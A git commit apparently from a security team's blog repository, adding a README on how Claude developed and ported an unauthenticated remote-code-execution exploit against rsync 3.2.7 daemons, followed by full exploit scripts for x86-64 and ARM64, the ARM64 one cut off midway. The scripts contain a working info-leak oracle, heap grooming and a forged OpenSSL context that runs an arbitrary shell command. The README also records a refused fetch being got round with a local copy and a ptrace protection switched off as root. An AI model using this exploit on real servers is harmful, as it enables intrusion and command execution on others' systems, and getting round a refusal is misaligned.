Add rsync

This commit is contained in:
Thai Duong
2026-04-09 10:38:23 -07:00
parent 17d04899ba
commit 0105dc8390
9 changed files with 4098 additions and 0 deletions
+1
View File
@@ -13,3 +13,4 @@ Between now and the end of April 2026, well be dropping what we find in this
* 2026-03-31: [Claude Wrote a Full FreeBSD Remote Kernel RCE with Root Shell (CVE-2026-4747)](CVE-2026-4747)
* 2026-04-06: [Discovering a radare2 0-Day in Zero Day](radare2)
* 2026-04-06: [GhidraServer PKI User Impersonation via Null Signature](ghidra-server)
* 2026-04-06: [Rsync CVE-2024-12084 + CVE-2024-12085 — Unauthenticated RCE](rsync)
+306
View File
@@ -0,0 +1,306 @@
# Feeding Claude Phrack Articles for Fun and Profit
tl;dr: A teammate gave Claude a Phrack article. It built a working
rsync RCE on x86-64. He shared the generated exploit with me but forgot
one file, and I needed it on ARM64 anyway. I gave Claude one prompt:
*reproduce this*. Ninety minutes later it dropped a working exploit. I
told it the exploit was slow; it made it 20x faster. We also asked it
to audit the patched rsync, and it came back with new bugs.
## How this started
Our new favourite pastime is feeding Claude Phrack articles and seeing
what comes back. This time it was Phrack 72's *"Desync the Planet"*,
which describes chaining CVE-2024-12085 (stack info leak) into
CVE-2024-12084 (heap overflow) for unauthenticated RCE against
`rsync --daemon`. A teammate handed Claude the article; it built a
working exploit on x86-64. The full session is in
[`writeup.md`](writeup.md), prompts and all: where Claude tried adding
`fprintf` to `sender.c` and got told "why are you modifying the rsync
source?", where it was redirected to GDB, where it was told to actually
read the article instead of guessing at the layout.
He shared [`exploit.py`](exploit.py) with me. Two problems:
1. **It imported `rsync_lib`, which wasn't in the repo.** He just forgot
to share it. Claude had generated this custom protocol library to
handle all the heavy lifting: daemon handshake, multiplexed I/O,
file list parsing, the deflate-token oracle.
2. **It was tuned for x86-64.** Hardcoded binary offsets, an info-leak
target at a stack offset that doesn't exist on ARM64, a `.bss` payload
layout that assumes a memory map that doesn't match the ARM64 build.
I wanted to run it on a Debian 12 ARM64 box. So I handed both files (the
writeup and the broken exploit) to Claude:
> **Read the WriteUp and reproduce this exploit with exploit.py**
That was the entire brief. One prompt. Everything below, from building
the missing protocol library to finding the truncated command string,
came out of that single instruction. I just watched.
## What Claude figured out
**No `rsync_lib.py`.** Claude opened the rsync 3.2.7 source (`io.c`,
`flist.c`, `compat.c`, `sender.c`, `token.c`) and built the protocol
library from scratch. The first attempt timed out at `setup_protocol`.
So it spun up a Python proxy, pointed the *real* rsync client through it
at the daemon, and diffed the wire bytes against what its own library
was sending. Three things the source doesn't make obvious: daemon args
are `\0`-terminated (not `\n`), checksum negotiation is *both sides
write, then both sides read* (not request-response), and the post-setup
`write_line` calls were bypassing the multiplex layer. The server was
reading the `"ZZZZ..."` filter pattern as a multiplex header and dying
with `unexpected tag 83` (`'Z' - 7`). Claude spotted that one by just
counting: 83 + 7 = 90 = `'Z'`.
**No GDB.** The container had no `gdb`, no `strace`, no root. So Claude
built substitutes. An `LD_PRELOAD` `memcmp` hook to capture the
uninitialized `sum2` buffer at the moment of comparison. A 200-line
ptrace crash-catcher that attached to the forked rsync child, caught the
SIGSEGV, and dumped registers plus the entire payload region from
`/proc/PID/mem`. The memcmp hook is where it found the leak target had
moved: from `sum2+8` on x86-64 to `sum2+24` on ARM64, a saved LR
pointing into `start_server`, three frames up.
**The trickiest bug.** This is the one I would not have found. The crash
dump showed `shell_exec` *had* been called: `algctx` was zeroed by
OpenSSL's `str xzr, [x19, #56]` *after* `freectx` returned, not before.
Claude poked a `BRK #0` breakpoint right at `shell_exec`'s entry, caught
the trap, printed `X0` (the cmd pointer), and followed
`PTRACE_O_TRACEFORK`. Hit. Pointer correct. Fork happened. But the proof
file never appeared. The breakpoint also printed the command string it
read out of memory: `"touch /t"`. Eight bytes. Truncated.
The ARM64 build's `.bss` layout puts `last_match` at `ctx_evp+0x110`.
The first thing `match_sums` does, *before* calling `sum_init`, is
`last_match = 0`. Eight zero bytes. Right through the middle of the
command string at `+0x108`. `system("touch /t")` tried to write to `/`
and failed silently. Claude moved the command to `+0x58` (inside the
`ctx_md` union, which the OpenSSL path never touches) and the proof file
appeared.
Five issues total, all found and fixed without ever attaching a real
debugger:
| # | What broke | How Claude found it |
|---|---|---|
| A1 | Leak target at `sum2+24`, not `+8` | LD_PRELOAD memcmp hook |
| A2 | `count=3277` destabilizes the stack | Per-connection probe across 5 runs |
| A3 | Command truncated at byte 8 | ptrace bp on `shell_exec` + `match_sums` disasm |
| A4 | ARM64 glibc 2.36 still wants ONE filter | `malloc_usable_size` test |
| A5 | Three protocol mismatches in `rsync_lib` | socat wire capture vs. real client |
## Timeline
About **90 minutes** from a cold container to the first proof file. Claude
reconstructed this from daemon log timestamps and file mtimes:
| Elapsed | Milestone |
|--------:|---|
| 0:00 | First daemon banner. `rsync_lib` doesn't exist yet. |
| 0:30 | Protocol library working: file list parsed, download verified. Three wire-format bugs fixed along the way. |
| 0:37 | Info-leak oracle confirmed: `token=-1` means MATCH. The `memcmp` hook found the LR at `sum2+24`. |
| 0:59 | Heap overflow lands. Server child crashes silently, proof the write hit `.bss`. |
| 1:29 | ptrace breakpoint on `shell_exec`: hit, `X0` correct, fork observed. Still no proof file. |
| **1:34** | **First `/tmp/rce_proof.txt`.** Bug A3: `last_match = 0` was zeroing `cmd[8:16]`. Moved cmd to `+0x58`. |
The split was roughly even: a third building the protocol library, a
third finding the ARM64 leak target, a third figuring out why
`shell_exec` ran but the file never appeared.
## "It works but it's slow"
First successful run: about five minutes. The leak now needs 24 bytes
(not 8), at ~128 connections per byte, ~120ms per connection.
I told Claude:
> **Your exploit now takes 5 minutes to run, probably because of the
> brute-forcing in first step. Make it faster.**
Claude came back with two stacked changes. First, a hint table: it had
noticed during the leak debugging that 18 of those 24 bytes are
structural constants on ARM64. User-space addresses are
`0x0000_aaaa_xxxx_xxxx` for the binary, `0x0000_ffff_xxxx_xxxx` for the
stack. The page-offset bits of the leaked pointer are exactly the
page-offset bits of `LEAK_OFFSET` (the base is page-aligned). It encoded
those as first-try hints, one connection each. Second, for the ~6 truly
random bytes, it wrapped the probe in `ThreadPoolExecutor(16)`: fire all
256 guesses at once, take the first hit.
The exploit now takes 14 seconds:
```bash
mkdir -p /tmp/rsync_test_module
echo "hello world" > /tmp/rsync_test_module/foo.txt
echo "test data here" > /tmp/rsync_test_module/bar.txt
cp rsyncd_test.conf /tmp/
/tmp/rsync-3.2.7/rsync --daemon --config=/tmp/rsyncd_test.conf --port=12000 --address=127.0.0.1
time python3 exploit.py "rsync://127.0.0.1:12000/files" "id > /tmp/rce_proof.txt"
[*] Phase 1: info leak | file=bar.txt size=15
sum2[8] = 0x00 (1 total connections)
sum2[9] = 0x00 (2 total connections)
sum2[10] = 0x00 (3 total connections)
sum2[11] = 0x00 (4 total connections)
sum2[12] = 0xab (260 total connections)
sum2[13] = 0xaa (261 total connections)
sum2[14] = 0x00 (262 total connections)
sum2[15] = 0x00 (263 total connections)
sum2[16] = 0x00 (519 total connections)
sum2[17] = 0x7a (775 total connections)
sum2[18] = 0xde (1031 total connections)
sum2[19] = 0xee (1287 total connections)
sum2[20] = 0xff (1288 total connections)
sum2[21] = 0xff (1289 total connections)
sum2[22] = 0x00 (1290 total connections)
sum2[23] = 0x00 (1291 total connections)
sum2[24] = 0xc4 (1292 total connections)
sum2[25] = 0xae (1293 total connections)
sum2[26] = 0xdc (1549 total connections)
sum2[27] = 0xd2 (1805 total connections)
sum2[28] = 0xaa (1806 total connections)
sum2[29] = 0xaa (1807 total connections)
sum2[30] = 0x00 (1808 total connections)
sum2[31] = 0x00 (1809 total connections)
[+] Leaked .text ptr : 0xaaaad2dcaec4
[+] Binary base : 0xaaaad2da0000
[*] Phase 2: heap overflow → RCE
shell_exec = 0xaaaad2dca120
ctx_evp = 0xaaaad2e54fb0
payload = 344 bytes at &ctx_evp
fake_ctx = 0xaaaad2e54fb8 (+8)
fake_evpmd = 0xaaaad2e55050 (+160)
cmd_addr = 0xaaaad2e55008 (+88)
target ndx=1 file=bar.txt
sending payload (344 bytes) to &ctx_evp...
overflow complete, consuming server output...
server connection ended: connection closed
[+] Payload delivered.
real 0m14.383s
user 0m0.674s
sys 0m1.609s
cat /tmp/rce_proof.txt
```
## And there's more
Before any of this, the same teammate had asked Claude to audit the
patched rsync:
> **now that you have a good grasp of this vulnerability and exploitation
> can you audit the latest rsync for variants that may allow exploitation**
Claude went file-by-file through all 48 `.c` source files in 3.4.1 (the
version with all CVEs fixed). We're verifying the findings now and
preparing reports.
## Every prompt, both sessions
The complete steering record. Prompts 1-12 are the original x86-64
session (the teammate driving); 13-17 are the ARM64 port (me driving).
1. *Initial request*: exploit rsync CVE-2024-12084 (heap overflow) +
CVE-2024-12085 (info leak) into a full RCE chain against rsync 3.2.7
daemon, following the Phrack 72 "Desync the Planet" article.
2. **"why are you modifying the rsync source?"** Claude had been adding
`fprintf` debug statements to sender.c and recompiling. He pointed
out this shifts binary offsets (`ctx_evp`, `shell_exec`, etc.) and
invalidates the exploit constants.
3. **"you should be using gdb .."** Redirected Claude from
printf-debugging to GDB. Led to the attach-to-daemon workflow with
`set follow-fork-mode child` that proved essential for every
subsequent debugging step.
4. **"what sandbox"** Claude had confused /tmp file isolation with
sandboxing. He clarified the environment.
5. **"if you need root the password is x ?"** Root credentials to fix
`ptrace_scope` (was set to 1, blocking GDB attach). Claude ran
`echo 0 > /proc/sys/kernel/yama/ptrace_scope`.
6. **"are you following the phrack exploitation? it outlines it pretty
clear"** Critical redirect. Claude had been inventing a multi-entry
layout trying to align 40-byte `sum_buf` strides with 48-byte
`EVP_MD_CTX` field offsets. The Phrack one-shot contiguous write
approach is far simpler and more reliable.
7. **"read the phrack exploit - they use the info leak + heap overflow
to get a reliable exploit."** Prompted Claude to actually read the
full article rather than working from partial understanding.
8. **"the writeup is in /tmp/rsync.txt"** Pointed Claude at the local
copy of the Phrack article. Saved time vs trying to web-fetch it
(the WebFetch AI model refused to extract exploit details).
9. **"if you need to setup a qemu with the exact debian + rsync used
that is fine"** Offered the exact Debian 12 target environment.
Claude didn't end up needing it; it adapted the exploit to the
Ubuntu 22.04 system instead.
10. **"perfect it seems to work!! can you document your whole process +
my prompts in a writeup! include how to get it working on other
installations etc and debugging instructions."** Led to writeup.md.
11. **"now that you have a good grasp of this vulnerability and
exploitation can you audit the latest rsync for variants that may
allow exploitation"** Led to the rsync 3.4.1 audit.
12. **"the WRITEUP didnt include all of my prompts"** This correction,
leading to the expanded prompt section.
### ARM64 port session
13. **"Read the WriteUp and reproduce this exploit with exploit.py"**
My only real prompt. Environment was Debian 12 / arm64 / glibc
2.36: different OS, different glibc, different *architecture* from
the writeup. No GDB, no strace, no root. Claude found and fixed
five distinct arm64-specific bugs. It built `rsync_lib.py` from
scratch by reading rsync 3.2.7 source; a socat wire capture
revealed args use `\0` not `\n`, checksum negotiation is
bidirectional, and `write_line` was bypassing the multiplex layer
(server: "unexpected tag 83" = `'Z' - MPLEX_BASE`). The trickiest
bug: `shell_exec` *did* fire and *did* fork, but `match_sums`
zeroes `last_match` at `ctx_evp+0x110` before `sum_init`,
truncating the command at byte 8. Claude diagnosed it with a
ptrace breakpoint on `shell_exec` that printed `X0` and followed
`PTRACE_O_TRACEFORK`: fork happened, cmd pointer correct, string
read back as `"touch /t"`. It moved cmd to `+0x58`.
14. **"continue"** I re-granted permission after a tool-use rejection
during daemon startup. Claude resumed without issue.
15. **"Alright, add to the writeup your adaptions"** Claude wrote
section 3a documenting all five arm64 bugs, the GDB-free
methodology (LD_PRELOAD probes, ptrace crash-catcher,
pattern-payload survival test), and the working run output.
16. **"Your exploit now takes 5 minutes to run, probably because of
the brute-forcing in first step. Make it faster."** Claude stacked
two fixes: a hint table (18/24 bytes are structural constants on
arm64: `0x00` canonical bits, `0xaa`/`0xff` region prefixes,
`LEAK_OFFSET` page-offset bits) and a `ThreadPoolExecutor(16)` for
the truly random bytes. 5 minutes to 14 seconds.
17. **"Add to the writeup the ARM64 environment, and a note about
speeding up, including a sample run [...] Also update the user
prompts with the prompts/responses so far"** Claude added the
arm64 environment table, the speedup section + timed run, and
entries 13-17 to this list.
## Files
| File | What it is |
|---|---|
| `exploit.py` | Original x86-64 exploit (Ubuntu 22.04 / glibc 2.35) |
| `rsync_lib.py` | Original protocol library (now recovered and included so the writeup is complete) |
| `writeup.md` | Original development log: Phrack approach, x86-64 debugging |
| `exploit2.py` | ARM64 port (Debian 12 / glibc 2.36): 24-byte leak, relocated payload, parallel oracle |
| `rsync_lib2.py` | Protocol library Claude rebuilt from rsync 3.2.7 source when the original was missing |
| `writeup2.md` | ARM64 port log; section 3a covers all five issues and the GDB-free methodology |
| `rsyncd_test.conf` | Minimal daemon config: one read-only module, no chroot |
| `README.md` | This file |
+314
View File
@@ -0,0 +1,314 @@
#!/usr/bin/env python3
"""
Combined CVE-2024-12085 + CVE-2024-12084 → Unauthenticated RCE on rsync.
Phase 1 — Info leak: Leak a .text pointer via the xxh64 checksum oracle.
Phase 2 — Heap overflow: Single-connection write-what-where that plants a
fake EVP_MD_CTX + EVP_MD in .bss and overwrites ctx_evp.
Trigger path (from OpenSSL 3.0.2 libcrypto disassembly):
sum_init() → EVP_DigestInit_ex(ctx_evp, ...) → EVP_MD_CTX_reset(ctx_evp)
→ internal_cleanup(ctx, 0, 0):
rdi = ctx[0x38] (algctx → command string)
rax = ctx[0x08] (digest → fake EVP_MD)
rax = digest[0xb0] (freectx → shell_exec)
call *rax → shell_exec(cmd)
Layout challenge: sum_buf entries are 40 bytes, but EVP_MD_CTX fields at
+0x08 and +0x38 are 48 bytes apart (48 not divisible by 40).
Solution: place fake_ctx at slot+6 so [0x08] uses sum1+chain (split 8-byte
write) and [0x38] lands on the next entry's sum2.
Target: rsync 3.2.7 (unpatched), xxhash + OpenSSL 3.x.
Offsets are binary-specific — adjust the constants below.
Usage:
python3 poc_rce.py rsync://<host>:<port>/<module> '<command>'
"""
import struct, sys, time
import xxhash
import rsync_lib as R
# ── Binary offsets (nm /tmp/rsync-3.2.7/rsync) ──────────────
CHECK_COMPRESSION_OFFSET = 0x436f7 # set_compression+599
SHELL_EXEC_OFFSET = 0x2b970 # shell_exec()
CTX_EVP_OFFSET = 0x9dc28 # EVP_MD_CTX *ctx_evp
XFER_SUM_NNI_OFFSET = 0x89310 # SHA1 entry in valid_checksums_items
# ── OpenSSL 3.0.2 struct offsets (from disassembly) ─────────
# EVP_MD_CTX (72 = 0x48 bytes):
# +0x08 = digest (const EVP_MD*)
# +0x10 = engine (ENGINE*) — must be NULL
# +0x18 = flags (uint32) — must have 0x402 set
# +0x20 = md_data — must be NULL
# +0x28 = pctx — skipped if flags & 0x400
# +0x38 = algctx (void*) — 1st arg to freectx
# +0x40 = fetched_digest — must be NULL
#
# EVP_MD:
# +0xb0 = freectx function pointer
# +0x40 = cleanup callback — skipped if flags & 0x02
# ── Heap overflow constants ─────────────────────────────────
CHECKSUM_SEED = 1337
SUM_BUF_SIZE = 40
SUM_BUF_OFF = 22 # offsetof(sum_buf, sum2)
TCACHE_MIN, TCACHE_MAX, TCACHE_STEP, TCACHE_SLOTS = 24, 1032, 16, 7
def send_args(rc, compress=False):
rc.write_line('--server'); rc.write_line('--sender')
rc.write_line('--compress-choice=zlib' if compress else '--no-compress')
rc.write_line('--no-iconv')
rc.write_line(f'--checksum-seed={CHECKSUM_SEED}')
rc.write_line('--checksum')
for o in ['--no-crtimes','--no-atimes','--no-owner','--no-group',
'--no-devices','--no-specials','--no-links','--no-hard-links',
'--no-acls','--no-inc-recursive']:
rc.write_line(o)
rc.write_line('-r'); rc.write_line('-e.v')
# ═══════════════════════════════════════════════════════════
# Phase 1 — Info Leak
# ═══════════════════════════════════════════════════════════
def leak_pointer(url):
rc = R.connect(url, '31', 'xxh64')
send_args(rc); rc.write_line('.'); rc.write_line('./'); rc.write_line('')
rc.setup_protocol(); rc.write_raw_int(0)
files = rc.read_file_list()
tgt = next(f for f in files if R.is_reg(f.mode) and f.size < (1<<17))
ti = files.index(tgt)
data = rc.download_file(ti, tgt); rc.close()
s1 = R.adler32_rsync(data)
h = xxhash.xxh64(seed=CHECKSUM_SEED); h.update(data)
s2 = struct.pack('<Q', h.intdigest())
print(f"[*] Phase 1: info leak | file={tgt.name} size={tgt.size}")
for j in range(8):
for i in range(256):
try:
rc = R.connect(url, '31', 'xxh64')
send_args(rc, compress=True)
rc.write_line('.'); rc.write_line(rc.module+'/'); rc.write_line('')
rc.setup_protocol(); rc.write_raw_int(0); rc.read_file_list()
rc.write_ndx(ti); rc.write_short_int(R.ITEM_TRANSFER_FLAG)
ov = s2 + bytes([i])
rc.write_raw_int(3277); rc.write_raw_int(tgt.size)
rc.write_raw_int(len(ov)); rc.write_raw_int(0)
rc.write_bulk((struct.pack('<I', s1) + ov) * 3277)
rc.read_ndx(); rc.read_short_int()
rc.read_int(); rc.read_int(); rc.read_int(); rc.read_int()
sig, _ = rc.receive_deflate_token(); rc.close()
if sig < 0:
print(f" sum2[{8+j}] = 0x{i:02x}")
s2 += bytes([i]); break
except: continue
ptr = struct.unpack('<Q', s2[8:])[0]
base = ptr - CHECK_COMPRESSION_OFFSET
print(f"[+] Leaked .text ptr : 0x{ptr:x}")
print(f"[+] Binary base : 0x{base:x}")
return base, s1, tgt, ti
# ═══════════════════════════════════════════════════════════
# Phase 2 — Heap Overflow → RCE (Phrack approach)
# ═══════════════════════════════════════════════════════════
def do_rce(url, base, command, file_sum1, tgt, tgt_ndx):
"""
Single-connection overflow following the Phrack "one-shot" approach:
corrupt s->sums to point at &ctx_evp, set s->s2length to the full
payload size, then write a CONTIGUOUS payload in a single read_buf
call directly to .bss:
[ctx_evp ptr][fake EVP_MD_CTX (72B)][fake EVP_MD (~184B)][cmd string]
Trigger: sum_init → EVP_DigestInit_ex(ctx_evp) → EVP_MD_CTX_reset
→ ctx->digest->freectx(ctx->algctx) → shell_exec(cmd)
"""
shell_exec = base + SHELL_EXEC_OFFSET
ctx_evp = base + CTX_EVP_OFFSET
print(f"\n[*] Phase 2: heap overflow → RCE")
print(f" shell_exec = 0x{shell_exec:x}")
print(f" ctx_evp = 0x{ctx_evp:x}")
# ── Build the contiguous .bss payload ────────────────
# Written at &ctx_evp by one read_buf(f, sums[extra].sum2, s2length)
#
# Layout (offsets from &ctx_evp):
# 0x000: ctx_evp value → points to fake_ctx (at +8)
# 0x008: fake EVP_MD_CTX (72 bytes = 0x48)
# +0x08: digest → fake EVP_MD (at payload +0x50)
# +0x18: flags = 0x400 (skip pctx cleanup)
# +0x38: algctx → cmd string (at payload +0x50+0xb8)
# all others: 0
# 0x050: fake EVP_MD (need at least 0xb8 bytes)
# +0xb0: freectx = shell_exec
# all others: 0
# 0x108: command string + null terminator
fake_ctx_off = 8
fake_evp_md_off = fake_ctx_off + 0x48 # 0x50 = 80
cmd_off = fake_evp_md_off + 0xb8 # 0x108 = 264
cmd_bytes = command.encode('latin-1') + b'\x00'
payload_size = cmd_off + len(cmd_bytes)
fake_ctx_addr = ctx_evp + fake_ctx_off
fake_evp_md_addr = ctx_evp + fake_evp_md_off
cmd_addr = ctx_evp + cmd_off
xfer_sum_nni = base + XFER_SUM_NNI_OFFSET
payload = bytearray(payload_size)
# ctx_evp pointer → fake_ctx
struct.pack_into('<Q', payload, 0, fake_ctx_addr)
# Preserve critical globals that our payload overwrites in .bss:
# xfer_sum_nni at ctx_evp+0x30 — needed for sum_init to take the EVP path
struct.pack_into('<Q', payload, 0x30, xfer_sum_nni)
# fake EVP_MD_CTX fields (at +8)
struct.pack_into('<Q', payload, fake_ctx_off + 0x08, fake_evp_md_addr) # digest
struct.pack_into('<I', payload, fake_ctx_off + 0x18, 0x400) # flags
struct.pack_into('<Q', payload, fake_ctx_off + 0x38, cmd_addr) # algctx
# fake EVP_MD: only freectx at +0xb0 matters
struct.pack_into('<Q', payload, fake_evp_md_off + 0xb0, shell_exec)
# command string
payload[cmd_off:cmd_off + len(cmd_bytes)] = cmd_bytes
print(f" payload = {payload_size} bytes at &ctx_evp")
print(f" fake_ctx = 0x{fake_ctx_addr:x} (+{fake_ctx_off})")
print(f" fake_evpmd = 0x{fake_evp_md_addr:x} (+{fake_evp_md_off})")
print(f" cmd_addr = 0x{cmd_addr:x} (+{cmd_off})")
# ── Overflow: redirect sums + set s2length = payload_size ──
groom_count = 5
n_extra = 1 # just ONE extra entry
s2len_initial = 64
sums_base = ctx_evp - groom_count * SUM_BUF_SIZE - SUM_BUF_OFF
overflow_payload = bytearray(s2len_initial)
struct.pack_into('<Q', overflow_payload, 18, 0x31) # chunk metadata
off = 26
struct.pack_into('<Q', overflow_payload, off, 0) # flength
struct.pack_into('<Q', overflow_payload, off + 8, sums_base & 0xFFFFFFFFFFFFFFFF) # sums
struct.pack_into('<I', overflow_payload, off + 16, groom_count + n_extra) # count=6
struct.pack_into('<I', overflow_payload, off + 20, 1337) # blength
struct.pack_into('<I', overflow_payload, off + 24, 0) # remainder
struct.pack_into('<I', overflow_payload, off + 28, payload_size) # s2length!
# ── Connect and send ─────────────────────────────────
rc = R.connect(url, '31', 'sha1')
send_args(rc, compress=True)
# Tcache defragmentation: fill all bins so allocations come from wilderness
for sz in range(TCACHE_MIN, TCACHE_MAX + 1, TCACHE_STEP):
for _ in range(TCACHE_SLOTS * 2):
rc.write_line('-M-' + 'A' * (sz - 2))
rc.write_line('.'); rc.write_line('./'); rc.write_line('')
rc.setup_protocol()
# Heap grooming: single filter creates pattern(200B) + filter_rule(48B).
# Free with '!' pushes both to tcache. sum_struct(48B) lands right after
# sums(200B) giving us an 8-byte gap (chunk header only).
# NOTE: on our glibc 2.35, a second filter "+" a" creates an extra 48B
# chunk in the gap. Omitting it gives the correct diff=8 layout.
filt = '+ ' + 'Z' * (groom_count * SUM_BUF_SIZE - 1)
rc.write_raw_int(len(filt) + 1); rc.write_line(filt)
rc.write_raw_int(2); rc.write_line('!')
rc.write_raw_int(0)
files = rc.read_file_list()
ndx = next(i for i, f in enumerate(files) if R.is_reg(f.mode) and f.size > 0)
print(f" target ndx={ndx} file={files[ndx].name}")
rc.write_ndx(ndx)
rc.write_short_int(R.ITEM_TRANSFER_FLAG)
# ── Send sum head (for the initial grooming entries) ──
rc.write_raw_int(groom_count) # count = 5
rc.write_raw_int(1337) # blength
rc.write_raw_int(s2len_initial) # s2length = 64
rc.write_raw_int(0) # remainder
# ── Send grooming entries (all use the same overflow payload) ──
bulk = bytearray()
for j in range(groom_count):
bulk += struct.pack('<I', 0) # sum1 (don't care)
bulk += bytes(overflow_payload) # 64 bytes of sum2
rc.write_bulk(bytes(bulk))
# ── Send the ONE extra entry: sum1 (4B) + sum2 (payload) ──
print(f" sending payload ({payload_size} bytes) to &ctx_evp...")
ext_bulk = struct.pack('<I', 0) + bytes(payload)
rc.write_bulk(bytes(ext_bulk))
print(f" overflow complete, consuming server output...")
# ── Consume server output to unblock the trigger ─────
# After receive_sums, the server enters match_sums → hash_search →
# sum_init → EVP_DigestInit_ex(ctx_evp) → EVP_MD_CTX_reset →
# internal_cleanup → freectx(algctx) → shell_exec(cmd)
#
# We must read the server's echo (ndx + sum_head) so it doesn't
# block on write().
rc.sock.settimeout(10.0)
try:
# Read NDX echo + iflags
rc.read_ndx()
rc.read_short_int()
print(f" read ndx echo OK")
# Read sum head echo (count, blength, s2length, remainder)
echo_count = rc.read_int()
echo_bl = rc.read_int()
echo_s2 = rc.read_int()
echo_rem = rc.read_int()
print(f" sum head echo: count={echo_count} bl={echo_bl} "
f"s2={echo_s2} rem={echo_rem}")
# The server now enters match_sums → sum_init → trigger.
# shell_exec forks+exec's the command, then returns.
# Wait for any output or connection close.
time.sleep(3)
try:
while True:
d = rc.sock.recv(4096)
if not d:
break
except:
pass
except Exception as e:
print(f" server connection ended: {e}")
try:
rc.close()
except:
pass
time.sleep(1)
print(f"[+] Payload delivered — check if command executed.")
def main():
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} rsync://<host>:<port>/<module> '<command>'")
sys.exit(1)
url, command = sys.argv[1], sys.argv[2]
base, file_sum1, tgt, tgt_ndx = leak_pointer(url)
do_rce(url, base, command, file_sum1, tgt, tgt_ndx)
if __name__ == '__main__':
main()
+406
View File
@@ -0,0 +1,406 @@
#!/usr/bin/env python3
"""
Combined CVE-2024-12085 + CVE-2024-12084 → Unauthenticated RCE on rsync.
Phase 1 — Info leak: Leak a .text pointer via the xxh64 checksum oracle.
Phase 2 — Heap overflow: Single-connection write-what-where that plants a
fake EVP_MD_CTX + EVP_MD in .bss and overwrites ctx_evp.
Trigger path (OpenSSL 3.0.x libcrypto, identical layout on arm64):
sum_init() → EVP_DigestInit_ex(ctx_evp, ...)
→ algctx-cleanup path (when ctx->algctx != NULL):
x0 = ctx[0x38] (algctx → command string)
x1 = ctx[0x08] (digest → fake EVP_MD)
x1 = digest[0xb0] (freectx → shell_exec)
blr x1 → shell_exec(cmd)
ARM64 PORT NOTES (Debian 12 / glibc 2.36 / OpenSSL 3.0.18):
- Info leak: useful .text pointer is at sum2+24 (NOT sum2+8).
sum2[8:24] are uninitialized junk that must be brute-forced first.
Leaked pointer = start_server+0x484 (return after `bl send_files`).
- Heap groom: malloc(2) gives a 32-byte chunk on this glibc/arch
(same as Ubuntu 22.04 x86-64), so the ONE-filter approach is correct.
- .bss layout differs from x86-64:
xfer_sum_nni at ctx_evp+0x90 (was +0x30) — overlaps fake_evp_md+0x40
last_match at ctx_evp+0x110 — match_sums init ZEROES THIS.
→ command string CANNOT live past +0x108!
New layout: cmd at +0x58 (inside ctx_md, untouched on EVP path),
fake_evp_md at +0xa0 (after xfer_sum_nni preserve).
- OpenSSL EVP_MD_CTX/EVP_MD field offsets are identical to x86-64.
Target: rsync 3.2.7 (unpatched), xxhash + OpenSSL 3.x.
Offsets are binary-specific — adjust the constants below.
Usage:
python3 poc_rce.py rsync://<host>:<port>/<module> '<command>'
"""
import struct, sys, time
import xxhash
import rsync_lib as R
from concurrent.futures import ThreadPoolExecutor, as_completed
# ── Binary offsets (nm /tmp/rsync-3.2.7/rsync) — ARM64 BUILD ─
LEAK_OFFSET = 0x2aec4 # start_server+0x484 (LR after `bl send_files`)
SHELL_EXEC_OFFSET = 0x2a120 # shell_exec()
CTX_EVP_OFFSET = 0xb4fb0 # EVP_MD_CTX *ctx_evp (.bss)
XFER_SUM_NNI_OFFSET = 0xa0880 # SHA1 entry in valid_checksums_items (.data)
LEAK_BYTES = 24 # leak sum2[8..31]; pointer is at sum2+24
# ── OpenSSL 3.0.x struct offsets (from disassembly, same on arm64) ─
# EVP_MD_CTX (72 = 0x48 bytes):
# +0x08 = digest (const EVP_MD*) ← we set: → fake EVP_MD
# +0x10 = engine (ENGINE*) — must be NULL
# +0x18 = flags (uint32) — 0x400 set (skips pctx cleanup)
# +0x28 = pctx — must be NULL (else pctx-validation path)
# +0x38 = algctx (void*) — 1st arg to freectx ← we set: → cmd string
# +0x40 = fetched_digest — should be NULL
#
# EVP_MD:
# +0xb0 = freectx function pointer ← we set: → shell_exec
# +0x40 = cleanup callback — called LATER if flags&0x02 unset; we crash
# here AFTER shell_exec returns (don't care, cmd already ran).
#
# ARM64 .bss neighbors (offsets from ctx_evp) that get WRITTEN before trigger:
# +0x08 cur_sum_nni ← sum_init writes nni (overlaps fake_ctx[0x00], harmless)
# +0xe0 cur_sum_len ← sum_init writes 20 (inside fake_evp_md, harmless)
# +0xe8 cur_sum_evp_md ← sum_init writes ptr (inside fake_evp_md, harmless)
# +0x110 last_match ← match_sums INIT zeros 8B *** breaks cmd if at +0x108! ***
# +0x118-0x12B ← match_sums zeroes data_transfer/false_alarms/hash_hits/matches
# ── Heap overflow constants ─────────────────────────────────
CHECKSUM_SEED = 1337
SUM_BUF_SIZE = 40
SUM_BUF_OFF = 22 # offsetof(sum_buf, sum2)
TCACHE_MIN, TCACHE_MAX, TCACHE_STEP, TCACHE_SLOTS = 24, 1032, 16, 7
def send_args(rc, compress=False):
rc.write_line('--server'); rc.write_line('--sender')
rc.write_line('--compress-choice=zlib' if compress else '--no-compress')
rc.write_line('--no-iconv')
rc.write_line(f'--checksum-seed={CHECKSUM_SEED}')
rc.write_line('--checksum')
for o in ['--no-crtimes','--no-atimes','--no-owner','--no-group',
'--no-devices','--no-specials','--no-links','--no-hard-links',
'--no-acls','--no-inc-recursive']:
rc.write_line(o)
rc.write_line('-r'); rc.write_line('-e.v')
# ═══════════════════════════════════════════════════════════
# Phase 1 — Info Leak
# ═══════════════════════════════════════════════════════════
def leak_pointer(url):
rc = R.connect(url, '31', 'xxh64')
send_args(rc); rc.write_line('.'); rc.write_line('./'); rc.write_line('')
rc.setup_protocol(); rc.write_raw_int(0)
files = rc.read_file_list()
tgt = next(f for f in files if R.is_reg(f.mode) and f.size < (1<<17))
ti = files.index(tgt)
data = rc.download_file(ti, tgt); rc.close()
s1 = R.adler32_rsync(data)
h = xxhash.xxh64(seed=CHECKSUM_SEED); h.update(data)
s2 = struct.pack('<Q', h.intdigest())
print(f"[*] Phase 1: info leak | file={tgt.name} size={tgt.size}")
# On arm64 the useful pointer is at sum2+24, so brute-force 24 bytes.
# sum2[8:16] is typically 00 00 00 00 ?? ?? 00 00 (high half of a ptr).
# sum2[16:24] is a stack pointer (stable across forks of one daemon).
# sum2[24:32] is start_server+0x484 (the leak target).
#
# CRITICAL: use count=1, NOT count=3277. With many entries, hash_search's
# build_hash_table allocates a variable-size array, perturbing the stack
# frame and making sum2[16:24] unstable across connections.
#
# SPEED: most bytes are predictable. arm64 user-space addresses are
# 0x0000_aaaa_xxxx_xxxx (binary) or 0x0000_ffff_xxxx_xxxx (stack), and
# the low bytes of LEAK_OFFSET are constant. Try likely values first.
